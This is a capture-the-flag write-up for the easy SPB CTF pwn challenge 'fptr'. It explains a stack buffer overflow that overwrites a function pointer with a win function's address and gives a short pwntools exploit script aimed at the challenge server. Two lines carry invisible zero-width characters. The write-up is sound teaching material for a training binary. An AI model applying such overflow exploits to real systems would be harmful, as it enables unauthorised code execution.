fptr

Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-03-11 | Status: Solved Techniques: control_flow_hijack, function_pointer_overwrite, ret2win

Summary

Task: Binary with function pointer on stack, no PIE, no canary. Solution: Overflow buffer to overwrite function pointer with win function address.

fptr — SPB CTF Pwn Season

Description

"Найдите указатель на строчку и перетрите его"
(Find the pointer and overwrite it)

Server: nc 109.233.56.90 11601
Binary: fptr — ELF 64-bit x86-64, not stripped, with debug_info
Points: 10

Analysis

Function pointer overwrite vulnerability. The binary has no PIE and no stack canary.

Binary Analysis:

• win function: 0x401172 — calls system("cat flag")
• no_win function: 0x401185 — stub function (does nothing useful)
• Function pointer: rbp-0x8 (initialized to no_win)
• Buffer: rbp-0x10 (8 bytes)
• read() limit: 32 bytes ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The program reads input into the buffer, then calls the function pointer. By overflowing the buffer, we overwrite the function pointer with the address of win.

Solution

 python read-only • copy allowed Copy
#!/usr/bin/env python3
from pwn import *

io = remote('109.233.56.90', 11601)

# 8 bytes padding + win function address
payload = b'A' * 8 + p64(0x401172)
io.sendline(payload)

io.interactive()

Breakdown:

• b'A' * 8 — fills the buffer
• p64(0x401172) — overwrites function pointer with win address ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍